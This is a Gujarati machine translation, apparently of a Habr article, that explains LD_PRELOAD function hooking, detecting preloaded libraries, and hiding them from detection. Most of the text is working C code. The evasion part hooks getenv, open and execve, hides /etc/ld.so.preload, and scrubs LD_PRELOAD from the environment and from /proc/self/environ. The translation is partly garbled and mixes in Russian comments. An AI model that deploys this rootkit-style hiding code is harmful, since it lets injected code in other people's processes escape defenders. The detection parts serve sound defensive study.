เช เชจเซเชเชง 2014 เชฎเชพเช เชฒเชเชตเชพเชฎเชพเช เชเชตเซ เชนเชคเซ, เชชเชฐเชเชคเซ เชนเซเช เชฎเชพเชคเซเชฐ Habrรฉ เชชเชฐ เชฆเชฎเชจ เชนเซเช เชณ เชเชตเซเชฏเซ เชนเชคเซ เช เชจเซ เชคเซ เชฆเชฟเชตเชธเชจเซ เชชเซเชฐเชเชพเชถ เชเซเชคเซ เชจ เชนเชคเซ. เชชเซเชฐเชคเชฟเชฌเชเชง เชฆเชฐเชฎเชฟเชฏเชพเชจ เชนเซเช เชคเซเชจเชพ เชตเชฟเชถเซ เชญเซเชฒเซ เชเชฏเซ เชนเชคเซ, เชชเชฐเชเชคเซ เชนเชตเซ เชฎเชจเซ เชคเซ เชกเซเชฐเชพเชซเซเชเซเชธเชฎเชพเช เชฎเชณเซเชฏเซ. เชฎเซเช เชคเซเชจเซ เชเชพเชขเซ เชจเชพเชเชตเชพ เชตเชฟเชถเซ เชตเชฟเชเชพเชฐเซเชฏเซเช, เชชเชฐเชเชคเซ เชเชฆเชพเช เชคเซ เชเซเชเชจเซ เชเชชเชฏเซเชเซ เชฅเชถเซ.
เชธเชพเชฎเชพเชจเซเชฏ เชฐเซเชคเซ, "เชถเชพเชฎเซเชฒ" เชถเซเชงเชตเชพเชจเชพ เชตเชฟเชทเชฏ เชชเชฐ เชฅเซเชกเซเช เชถเซเชเซเชฐเชตเชพเชฐ เชเชกเชฎเชฟเชจ เชตเชพเชเชเชจ LD_PRELOAD.
1. เชเซเช เชซเชเชเซเชถเชจ เช เชตเซเชเซเชฅเซ เชชเชฐเชฟเชเชฟเชค เชจเชฅเซ เชคเซเชฎเชจเชพ เชฎเชพเชเซ เชเซเชเชเซเช เชตเชฟเชทเชฏเชพเชเชคเชฐ
เชฌเชพเชเซเชจเชพ เชธเซเชงเชพ เชเช เชถเชเซ เชเซ เชชเซ.2.
เชเชพเชฒเซ เชเซเชฒเชพเชธเชฟเช เชเชฆเชพเชนเชฐเชฃ เชธเชพเชฅเซ เชชเซเชฐเชพเชฐเชเชญ เชเชฐเซเช:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
srand (time(NULL));
for(int i=0; i<5; i++){
printf ("%dn", rand()%100);
}
}
เช เชฎเซ เชเซเชเชชเชฃ เชงเซเชตเช เชตเชฟเชจเชพ เชเชฎเซเชชเชพเชเชฒ เชเชฐเซเช เชเซเช:
$ gcc ./ld_rand.c -o ld_rand
เช เชจเซ, เช เชชเซเชเซเชทเชพ เชฎเซเชเชฌ, เช เชฎเชจเซ 5 เชเชฐเชคเชพเช เชเชเซ 100 เชฐเซเชจเซเชกเชฎ เชธเชเชเซเชฏเชพ เชฎเชณเซ เชเซ:
$ ./ld_rand
53
93
48
57
20
เชชเชฐเชเชคเซ เชเชพเชฒเซ เชเชฒเซเชชเชจเชพ เชเชฐเซเช เชเซ เช เชฎเชพเชฐเซ เชชเชพเชธเซ เชชเซเชฐเซเชเซเชฐเชพเชฎเชจเซ เชธเซเชฐเซเชค เชเซเชก เชจเชฅเซ, เชชเชฐเชเชคเซ เช เชฎเชพเชฐเซ เชตเชฐเซเชคเชจ เชฌเชฆเชฒเชตเชพเชจเซ เชเชฐเซเชฐ เชเซ.
เชเชพเชฒเซ เชเชชเชฃเชพ เชชเซเชคเชพเชจเชพ เชซเชเชเซเชถเชจ เชชเซเชฐเซเชเซเชเชพเชเชช เชธเชพเชฅเซ เชเชชเชฃเซ เชชเซเชคเชพเชจเซ เชฒเชพเชเชฌเซเชฐเซเชฐเซ เชฌเชจเชพเชตเซเช, เชเชฆเชพเชนเชฐเชฃ เชคเชฐเซเชเซ:
int rand(){
return 42;
}
$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so
เช เชจเซ เชนเชตเซ เช เชฎเชพเชฐเซ เชฐเซเชจเซเชกเชฎ เชชเชธเชเชฆเชเซ เชคเชฆเซเชฆเชจ เช เชจเซเชฎเชพเชจเชฟเชค เชเซ:
# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42
เช เชฏเซเชเซเชคเชฟ เชตเชงเซ เชชเซเชฐเชญเชพเชตเชถเชพเชณเซ เชฒเชพเชเซ เชเซ เชเซ เชเชชเชฃเซ เชธเซ เชชเซเชฐเชฅเชฎ เช เชฎเชพเชฐเซ เชฒเชพเชเชฌเซเชฐเซเชฐเซ เชฆเซเชตเชพเชฐเชพ เชจเชฟเชเชพเชธ เชเชฐเซเช
$ export LD_PRELOAD=$PWD/ld_rand.so
เช เชฅเชตเชพ เช เชฎเซ เชคเซ เชชเซเชฐเชฅเชฎ เชเชฐเซเชถเซเช
# echo "$PWD/ld_rand.so" > /etc/ld.so.preload
เช เชจเซ เชชเชเซ เชชเซเชฐเซเชเซเชฐเชพเชฎเชจเซ เชนเชเชฎเซเชถเชจเซ เชเซเชฎ เชเชฒเชพเชตเซ. เช เชฎเซ เชชเซเชฐเซเชเซเชฐเชพเชฎเชฎเชพเช เช เชเซเชกเชจเซ เชเช เชชเชฃ เชฒเชพเชเชจ เชฌเชฆเชฒเซ เชจเชฅเซ, เชชเชฐเชเชคเซ เชคเซเชจเซ เชตเชฐเซเชคเชฃเซเช เชนเชตเซ เช เชฎเชพเชฐเซ เชฒเชพเชเชฌเซเชฐเซเชฐเซเชจเชพ เชจเชพเชจเชพ เชเชพเชฐเซเชฏ เชชเชฐ เชเชงเชพเชฐเชฟเชค เชเซ. เชคเชฆเซเชชเชฐเชพเชเชค, เชชเซเชฐเซเชเซเชฐเชพเชฎ เชฒเชเชคเซ เชตเชเชคเซ, เช เชฐเซเชจเซเชก เช เชธเซเชคเชฟเชคเซเชตเชฎเชพเช เชชเชฃ เชจเชนเซเชคเซเช.
เช
เชฎเชพเชฐเชพ เชชเซเชฐเซเชเซเชฐเชพเชฎเชจเซ เชจเชเชฒเซ เชเชชเชฏเซเช เชเซเชฎ เชเชฐเซเชฏเซ เชฐเซเชจเซเชก? เชเชพเชฒเซ เชคเซเชจเซ เชธเซเชเซเชช เชฌเชพเชฏ เชธเซเชเซเชช เชฒเชเช.
เชเซเชฏเชพเชฐเซ เชเชชเซเชฒเชฟเชเซเชถเชจ เชถเชฐเซ เชฅเชพเชฏ เชเซ, เชคเซเชฏเชพเชฐเซ เช
เชฎเซเช เชชเซเชธเซเชคเชเชพเชฒเชฏเซ เชฒเซเชก เชฅเชพเชฏ เชเซ เชเซเชฎเชพเช เชชเซเชฐเซเชเซเชฐเชพเชฎ เชฆเซเชตเชพเชฐเชพ เชเชฐเซเชฐเซ เชเชพเชฐเซเชฏเซ เชนเซเชฏ เชเซ. เช
เชฎเซ เชคเซเชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชเซเช เชถเชเซเช เชเซเช เชเชฒ.เชกเซ.เชกเซ.:
# ldd ./ld_rand
linux-vdso.so.1 (0x00007ffc8b1f3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)
เช เชธเซเชเชฟ OS เชธเชเชธเซเชเชฐเชฃเชจเชพ เชเชงเชพเชฐเซ เชฌเชฆเชฒเชพเช เชถเชเซ เชเซ, เชชเชฐเชเชคเซ เชคเซเชฏเชพเช เชซเชพเชเชฒ เชนเซเชตเซ เชเชตเชถเซเชฏเช เชเซ libc.so. เชคเซ เช เชชเซเชธเซเชคเชเชพเชฒเชฏ เชเซ เชเซ เชธเชฟเชธเซเชเชฎ เชเซเชฒเซเชธ เช เชจเซ เชฎเซเชณเชญเซเชค เชเชพเชฐเซเชฏเซ เชเซเชฎ เชเซ เชชเซเชฐเชฆเชพเชจ เชเชฐเซ เชเซ เชเชชเชจ, malloc, printf เชตเชเซเชฐเซ. เช เชฎเชพเชฐเชพ เชฐเซเชจเซเชก เชคเซเชฎเชจเซ เชตเชเซเชเซ เชชเชฃ เชเซ. เชเชพเชฒเซ เชเชจเซ เชเชพเชคเชฐเซ เชเชฐเซเช:
# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand
เชเชพเชฒเซ เชเซเชเช เชเซ เชเซเชฏเชพเชฐเซ เชเชชเชฏเซเช เชฅเชพเชฏ เชเซ เชคเซเชฏเชพเชฐเซ เชฒเชพเชเชฌเซเชฐเซเชฐเซเชเชจเซ เชธเชฎเซเชน เชฌเชฆเชฒเชพเชฏ เชเซ LD_PRELOAD
# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
linux-vdso.so.1 (0x00007ffea52ae000)
/scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
/lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)
เชตเซเชฐเซเชเชฌเชฒ เชธเซเช เชฅเชฏเซเชฒเซเช เชเซ LD_PRELOAD เช เชฎเชจเซ เชฒเซเชก เชเชฐเชตเชพ เชฆเชฌเชพเชฃ เชเชฐเซ เชเซ ld_rand.so เชชเซเชฐเซเชเซเชฐเชพเชฎเชจเซ เชคเซเชจเซ เชเชฐเซเชฐ เชจเชฅเซ เชคเซ เชนเชเซเชเชค เชนเซเชตเชพ เชเชคเชพเช เชชเชฃ. เช เชจเซ เช เชฎเชพเชฐเชพ เชเชพเชฐเซเชฏ เชฅเซ "เชฐเซเชจเซเชก" เชเชฐเชคเชพเช เชตเชนเซเชฒเชพ เชฒเซเชก เชฅเชพเชฏ เชเซ เชฐเซเชจเซเชก เชฅเซ libc.so, เชชเชเซ เชคเซ เชฐเซเชธเซเช เชชเชฐ เชถเชพเชธเชจ เชเชฐเซ เชเซ.
เช เซเช เชเซ, เช เชฎเซ เชฎเซเชณ เชซเชเชเซเชถเชจเชจเซ เชฌเชฆเชฒเชตเชพเชฎเชพเช เชตเซเชฏเชตเชธเซเชฅเชพเชชเชฟเชค เชเซเช, เชชเชฐเชเชคเซ เช เชฎเซ เชเซเชตเซ เชฐเซเชคเซ เชเชพเชคเชฐเซ เชเชฐเซ เชถเชเซเช เชเซ เชคเซเชจเซ เชเชพเชฐเซเชฏเชเซเชทเชฎเชคเชพ เชธเชพเชเชตเซเชฒ เชเซ เช เชจเซ เชเซเชเชฒเซเช เชเซเชฐเชฟเชฏเชพเช เชเชฎเซเชฐเชตเชพเชฎเชพเช เชเชตเซ เชเซ. เชเชพเชฒเซ เชเชชเชฃเชพ เชฐเซเชจเซเชกเชฎเชจเซ เชธเชเชถเซเชงเชฟเชค เชเชฐเซเช:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
typedef int (*orig_rand_f_type)(void);
int rand()
{
/* ะัะฟะพะปะฝัะตะผ ะฝะตะบะธะน ะบะพะด */
printf("Evil injected coden");
orig_rand_f_type orig_rand;
orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
return orig_rand();
}
เช เชนเซเช, เช เชฎเชพเชฐเชพ "เชเชกเชฟเชถเชจ" เชคเชฐเซเชเซ, เช เชฎเซ เชซเชเซเชค เชเซเชเซเชธเซเชเชจเซ เชเช เชฒเชพเชเชจ เชเชพเชชเซเช เชเซเช, เชเซ เชชเชเซ เช เชฎเซ เชฎเซเชณ เชเชพเชฐเซเชฏ เชฎเชพเชเซ เชจเชฟเชฐเซเชฆเซเชถเช เชฌเชจเชพเชตเซเช เชเซเช. เชฐเซเชจเซเชก. เช เชเชพเชฐเซเชฏเชจเซเช เชธเชฐเชจเชพเชฎเซเช เชฎเซเชณเชตเชตเชพ เชฎเชพเชเซ เชเชชเชฃเชจเซ เชเชฐเซเชฐ เชเซ dlsym เชชเซเชธเซเชคเชเชพเชฒเชฏเชจเซเช เชเชพเชฐเซเชฏ เชเซ libdlเชเซ เชเชชเชฃเซ เชถเซเชง เชเชฐเชถเซ เชฐเซเชจเซเชก เชเชคเชฟเชถเซเชฒ เชชเซเชธเซเชคเชเชพเชฒเชฏเซเชจเชพ เชธเซเชเซเชเชฎเชพเช. เชเซ เชชเชเซ เชเชชเชฃเซ เช เชซเชเชเซเชถเชจเชจเซ เชเซเชฒ เชเชฐเซเชถเซเช เช เชจเซ เชคเซเชจเซ เชเชฟเชเชฎเชค เชชเชฐเชค เชเชฐเซเชถเซเช. เชคเชฆเชจเซเชธเชพเชฐ, เชเชชเชฃเซ เชเชฎเซเชฐเชตเชพเชจเซ เชเชฐเซเชฐ เชชเชกเชถเซ "-ldl" เชเชธเซเชฎเซเชฌเชฒเซ เชฆเชฐเชฎเชฟเชฏเชพเชจ:
$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so
$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Evil injected code
66
Evil injected code
28
Evil injected code
93
Evil injected code
93
Evil injected code
95
เช เชจเซ เช เชฎเชพเชฐเซ เชชเซเชฐเซเชเซเชฐเชพเชฎ "เชฎเซเชณ" เชจเซ เชเชชเชฏเซเช เชเชฐเซ เชเซ เชฐเซเชจเซเชก, เช เชเชพเช เชเซเชเชฒเซเช เช เชถเซเชฒเซเชฒ เชเซเชฐเชฟเชฏเชพเช เชเชฐเซ เชนเชคเซ.
2. เชถเซเชงเชจเซ เชชเซเชกเชพ
เชธเชเชญเชตเชฟเชค เชเชคเชฐเชพ เชตเชฟเชถเซ เชเชพเชฃเซเชจเซ, เช เชฎเซ เชคเซเชจเซ เชถเซเชงเชตเชพ เชฎเชพเชเชเซเช เชเซเช เชชเซเชฐเซเชฒเซเชก เชคเซ เชเชฐเชตเชพเชฎเชพเช เชเชตเซเชฏเซเช เชนเชคเซเช. เชคเซ เชธเซเชชเชทเซเช เชเซ เชเซ เชถเซเชงเชตเชพเชจเซ เชถเซเชฐเซเชทเซเช เชฐเซเชค เชคเซเชจเซ เชเชฐเซเชจเชฒเชฎเชพเช เชงเชเซเชฒเชตเซ เชเซ, เชชเชฐเชเชคเซ เชฎเชจเซ เชฏเซเชเชฐเชธเซเชชเซเชธเชฎเชพเช เชถเซเชง เชตเชฟเชเชฒเซเชชเซเชฎเชพเช เชฐเชธ เชนเชคเซ.
เชเชเชณ, เชถเซเชง เช เชจเซ เชคเซเชฎเชจเชพ เชเชเชกเชจ เชฎเชพเชเซเชจเชพ เชเชเซเชฒเซ เชเซเชกเซเชฎเชพเช เชเชตเชถเซ.
2.1. เชเชพเชฒเซ เชธเชฐเชณ เชถเชฐเซเชเชค เชเชฐเซเช
เช เชเชพเช เชธเซเชเชตเซเชฏเชพ เชฎเซเชเชฌ, เชคเชฎเซ เชตเซเชฐเซเชเชฌเชฒเชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชฒเซเชก เชเชฐเชตเชพ เชฎเชพเชเซ เชฒเชพเชเชฌเซเชฐเซเชฐเซเชจเซ เชเชฒเซเชฒเซเช เชเชฐเซ เชถเชเซ เชเซ LD_PRELOAD เช เชฅเชตเชพ เชคเซเชจเซ เชซเชพเชเชฒเชฎเชพเช เชฒเชเซเชจเซ /etc/ld.so.preload. เชเชพเชฒเซ เชฌเซ เชธเชฐเชณ เชกเชฟเชเซเชเซเชเชฐ เชฌเชจเชพเชตเซเช.
เชชเซเชฐเชฅเชฎ เชธเซเช เชชเชฐเซเชฏเชพเชตเชฐเชฃ เชตเซเชฐเซเชเชฌเชฒ เชคเชชเชพเชธเชตเชพเชจเซเช เชเซ:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main()
{
char* pGetenv = getenv("LD_PRELOAD");
pGetenv != NULL ?
printf("LD_PRELOAD (getenv) [+]n"):
printf("LD_PRELOAD (getenv) [-]n");
}
เชฌเซเชเซเช เช เชคเชชเชพเชธเชตเชพเชจเซเช เชเซ เชเซ เชซเชพเชเชฒ เชเซเชฒเซ เชเซ เชเซ เชเซเชฎ:
#include <stdio.h>
#include <fcntl.h>
int main()
{
open("/etc/ld.so.preload", O_RDONLY) != -1 ?
printf("LD_PRELOAD (open) [+]n"):
printf("LD_PRELOAD (open) [-]n");
}
เชเชพเชฒเซ เชชเซเชธเซเชคเชเชพเชฒเชฏเซ เชฒเซเชก เชเชฐเซเช:
$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload
$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]
เช
เชนเซเช เช
เชจเซ เชจเซเชเซ, [+] เชธเชซเชณ เชถเซเชง เชธเซเชเชตเซ เชเซ.
เชคเชฆเชจเซเชธเชพเชฐ, [-] เชเชเชฒเซ เชฌเชพเชฏเชชเชพเชธ เชกเชฟเชเซเชเซเชถเชจ.
เชเชตเชพ เชกเชฟเชเซเชเซเชเชฐ เชเซเชเชฒเซเช เช เชธเชฐเชเชพเชฐเช เชเซ? เชเชพเชฒเซ เชชเชนเซเชฒเชพ เชชเชฐเซเชฏเชพเชตเชฐเชฃ เชตเซเชฐเซเชเชฌเชฒ เชชเชฐ เชเช เชจเชเชฐ เชเชฐเซเช:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
return orig_getenv(name);
}
$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]
เช เช เชฐเซเชคเซ, เช เชฎเซ เชเซเชเชฅเซ เชเซเชเชเชพเชฐเซ เชฎเซเชณเชตเซเช เชเซเช เชเชชเชจ:
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>
int (*orig_open)(const char*, int oflag) = NULL;
int open(const char *path, int oflag, ...)
{
char real_path[256];
if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0){
errno = ENOENT;
return -1;
}
return orig_open(path, oflag);
}
$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]
เชนเชพ, เชซเชพเชเชฒเชจเซ เชเชเซเชธเซเชธ เชเชฐเชตเชพเชจเซ เช เชจเซเชฏ เชฐเซเชคเซ เช เชนเซเช เชตเชพเชชเชฐเซ เชถเชเชพเชฏ เชเซ, เชเซเชฎ เชเซ, เชเชชเชจ64, stat เชตเชเซเชฐเซ., เชชเชฐเชเชคเซ, เชนเชเซเชเชคเชฎเชพเช, เชเซเชกเชจเซ เชธเชฎเชพเชจ 5-10 เชฒเซเชเซเช เชคเซเชฎเชจเซ เชเซเชคเชฐเชตเชพ เชฎเชพเชเซ เชเชฐเซเชฐเซ เชเซ.
2.2. เชเชฒเซ เชเชเชณ เชตเชงเซเช
เชเชชเชฐ เชเชชเชฃเซ เชเชชเชฏเซเช เชเชฐเซเชฏเซ getenv() เชฎเซเชฒเซเชฏ เชฎเซเชณเชตเชตเชพ เชฎเชพเชเซ LD_PRELOAD, เชชเชฐเชเชคเซ เชคเซเชฏเชพเช เชเชตเชพ เชฎเชพเชเซ เชตเชงเซ "เชจเซเชเชพ-เชธเซเชคเชฐ" เชฎเชพเชฐเซเช เชชเชฃ เชเซ ENV-เชเชฒ. เช เชฎเซ เชฎเชงเซเชฏเชตเชฐเซเชคเซ เชเชพเชฐเซเชฏเซเชจเซ เชเชชเชฏเซเช เชเชฐเซเชถเซเช เชจเชนเซเช, เชชเชฐเชเชคเซ เชเชฐเซเชจเซ เชธเชเชฆเชฐเซเชญ เชฒเชเชถเซเช ** เชชเชฐเซเชฏเชพเชตเชฐเชฃ, เชเซ เชชเชฐเซเชฏเชพเชตเชฐเชฃเชจเซ เชจเชเชฒ เชธเชเชเซเชฐเชนเชฟเชค เชเชฐเซ เชเซ:
#include <stdio.h>
#include <string.h>
extern char **environ;
int main(int argc, char **argv) {
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++)
{
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL)
{
printf("LD_PRELOAD (**environ) [+]n");
return 0;
}
}
printf("LD_PRELOAD (**environ) [-]n");
return 0;
}
เช เชนเซเช เช เชฎเซ เชฎเซเชฎเชฐเซเชฎเชพเชเชฅเซ เชธเซเชงเซ เชกเซเชเชพ เชตเชพเชเชเซ เชฐเชนเซเชฏเชพ เชนเซเชตเชพเชฅเซ, เชเชตเชพ เชเซเชฒเชจเซ เช เชเชเชพเชตเซ เชถเชเชพเชคเซ เชจเชฅเซ, เช เชจเซ เช เชฎเชพเชฐเชพ undetect_getenv เชคเซ เชนเชตเซ เชเซเชธเชฃเชเซเชฐเซเชจเซ เชเชณเชเชตเชพเชฎเชพเช เชฆเชเชฒ เชเชฐเชถเซ เชจเชนเซเช.
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]
เชเชตเซเช เชฒเชพเชเซ เชเซ เชเซ เช เชธเชฎเชธเซเชฏเชพ เชนเชฒ เชฅเช เชเช เชเซ? เชนเชเซ เชคเซ เชถเชฐเซเชเชค เชเซ.
เชชเซเชฐเซเชเซเชฐเชพเชฎ เชถเชฐเซ เชฅเชฏเชพ เชชเชเซ, เชเชฒเชจเซ เชเชฟเชเชฎเชค LD_PRELOAD เชนเซเชเชฐเซเชธเชจเซ เชนเชตเซ เชฎเซเชฎเชฐเซเชฎเชพเช เชคเซเชจเซ เชเชฐเซเชฐ เชจเชฅเซ, เชเชเชฒเซ เชเซ, เชคเซเช เชคเซเชจเซ เชตเชพเชเชเซ เชถเชเซ เชเซ เช เชจเซ เชเซเชเชชเชฃ เชธเซเชเชจเชพเช เช เชฎเชฒเชฎเชพเช เชฎเซเชเชคเชพ เชชเชนเซเชฒเชพ เชคเซเชจเซ เชเชพเชขเซ เชถเชเซ เชเซ. เช เชฒเชฌเชคเซเชค, เชฎเซเชฎเชฐเซเชฎเชพเช เชเชฐเซเชจเซ เชธเชเชชเชพเชฆเชฟเชค เชเชฐเชตเซเช เช เชเชเชพเชฎเชพเช เชเชเซเช, เชเชฐเชพเชฌ เชชเซเชฐเซเชเซเชฐเชพเชฎเชฟเชเช เชถเซเชฒเซ เชเซ, เชชเชฐเชเชคเซ เช เชคเซ เชตเซเชฏเชเซเชคเชฟเชจเซ เชเซเชตเซ เชฐเซเชคเซ เชฐเซเชเซ เชถเชเซ เชเซ เชเซ เชเชฐเซเชเชฐ เชเซเชเชชเชฃ เชฐเซเชคเซ เชเชชเชฃเซเช เชธเชพเชฐเซเช เชเชเซเชเชคเซ เชจเชฅเซ?
เช เชเชฐเชตเชพ เชฎเชพเชเซ เชเชชเชฃเซ เชเชชเชฃเซเช เชชเซเชคเชพเชจเซเช เชจเชเชฒเซ เชเชพเชฐเซเชฏ เชฌเชจเชพเชตเชตเชพเชจเซ เชเชฐเซเชฐ เชเซ เชคเซเชฎเชพเช(), เชเซเชฎเชพเช เช เชฎเซ เชเชจเซเชธเซเชเซเชฒ เชเชฐเซเชฒเชพเชจเซ เช เชเชเชพเชตเซเช เชเซเช LD_PRELOAD เช เชจเซ เชคเซเชจเซ เช เชฎเชพเชฐเชพ เชฒเชฟเชเชเชฐ เชชเชฐ เชฎเซเชเชฒเซ:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;
// ะกะพะทะดะฐัะผ ัะตะนะบะพะฒัั ะฒะตััะธั init
// ะบะพัะพัะฐั ะฑัะดะตั ะฒัะทะฒะฐะฝะฐ ะฟัะธ ะทะฐะณััะทะบะต ะฟัะพะณัะฐะผะผั
// ะดะพ ะฒัะฟะพะปะฝะตะฝะธั ะบะฐะบะธั
-ะปะธะฑะพ ะธะฝััััะบัะธะน
void evil_init()
{
// ะกะฝะฐัะฐะปะฐ ัะพั
ัะฐะฝะธะผ ัะตะบััะตะต ะทะฝะฐัะตะฝะธะต LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// ะะทะฑะฐะฒะปัะตะผัั ะพั ัะตะบััะตะณะพ LD_PRELOAD
unsetenv(env);
break;
}
}
}
int execve(const char *path, char *const argv[], char *const envp[])
{
int i = 0, j = 0, k = -1, ret = 0;
char** new_env;
if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");
// ะัะพะฒะตััะผ ะฝะต ัััะตััะฒัะตั ะปะธ ะดััะณะธั
ัััะฐะฝะพะฒะปะตะฝะฝัั
LD_PRELOAD
for(i = 0; envp[i]; i++){
if(strstr(envp[i], "LD_PRELOAD")) k = i;
}
// ะัะปะธ LD_PRELOAD ะฝะต ะฑัะปะพ ัััะฐะฝะพะฒะปะตะฝะพ ะดะพ ะฝะฐั, ัะพ ะดะพะฑะฐะฒะธะผ ะตะณะพ
if(k == -1){
k = i;
i++;
}
// ะกะพะทะดะฐัะผ ะฝะพะฒะพะต ะพะบััะถะตะฝะธะต
new_env = (char**) malloc((i+1)*sizeof(char*));
// ะะพะฟะธััะตะผ ััะฐัะพะต ะพะบััะถะตะฝะธะต, ะทะฐ ะธัะบะปััะตะฝะธะตะผ LD_PRELOAD
for(j = 0; j < i; j++) {
// ะฟะตัะตะทะฐะฟะธััะฒะฐะตะผ ะธะปะธ ัะพะทะดะฐัะผ LD_PRELOAD
if(j == k) {
new_env[j] = (char*) malloc(256);
strcpy(new_env[j], "LD_PRELOAD=");
strcat(new_env[j], evil_env);
}
else new_env[j] = (char*) envp[j];
}
new_env[i] = NULL;
ret = orig_execve(path, argv, new_env);
free(new_env[k]);
free(new_env);
return ret;
}
เช เชฎเซ เชเชฒเชพเชตเซเช เชเซเช เช เชจเซ เชคเชชเชพเชธเซเช เชเซเช:
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]
2.3. /proc/self/
เชเซ เชเซ, เชฎเซเชฎเชฐเซ เช เชเซเชฒเซเชฒเซเช เชธเซเชฅเชพเชจ เชจเชฅเซ เชเซเชฏเชพเช เชคเชฎเซ เช เชตเซเชเซ เชถเซเชงเซ เชถเชเซ LD_PRELOAD, เชคเซเชฏเชพเช เชชเชฃ เชเซ /proc/. เชเชพเชฒเซ เชธเซเชชเชทเซเช เชธเชพเชฅเซ เชถเชฐเซ เชเชฐเซเช /proc/{PID}/เชชเชฐเซเชฏเชพเชตเชฐเชฃ.
เชนเชเซเชเชคเชฎเชพเช, เชฎเชพเชเซ เชเช เชธเชพเชฐเซเชตเชคเซเชฐเชฟเช เชเชเซเชฒ เชเซ เชถเซเชงเซ เชเชพเชขเชตเซเช ** เชชเชฐเซเชฏเชพเชตเชฐเชฃ ะธ /proc/self/environ. เชธเชฎเชธเซเชฏเชพ เช "เชเซเชเซ" เชตเชฐเซเชคเชจ เชเซ unsetenv(env).
เชธเชพเชเซ เชตเชฟเชเชฒเซเชช
void evil_init()
{
// ะกะฝะฐัะฐะปะฐ ัะพั
ัะฐะฝะธะผ ัะตะบััะตะต ะทะฝะฐัะตะฝะธะต LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// ะะทะฑะฐะฒะปัะตะผัั ะพั ัะตะบััะตะณะพ LD_PRELOAD
//unsetenv(env);
// ะะผะตััะพ unset ะฟัะพััะพ ะพะฑะฝัะปะธะผ ะฝะฐัั ะฟะตัะตะผะตะฝะฝัั
for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
break;
}
}
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
เชชเชฐเชเชคเซ เชเชพเชฒเซ เชเชฒเซเชชเชจเชพ เชเชฐเซเช เชเซ เช เชฎเชจเซ เชคเซ เชฎเชณเซเชฏเซเช เชจเชฅเซ เช เชจเซ /proc/self/environ "เชธเชฎเชธเซเชฏเชพเชฏเซเชเซเชค" เชกเซเชเชพ เชงเชฐเชพเชตเซ เชเซ.
เชชเชนเซเชฒเชพ เชเชชเชฃเซ เชเชชเชฃเชพ เชชเชนเซเชฒเชพเชจเชพ "เชตเซเชถ" เชธเชพเชฅเซ เชชเซเชฐเชฏเชพเชธ เชเชฐเซเช:
$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so
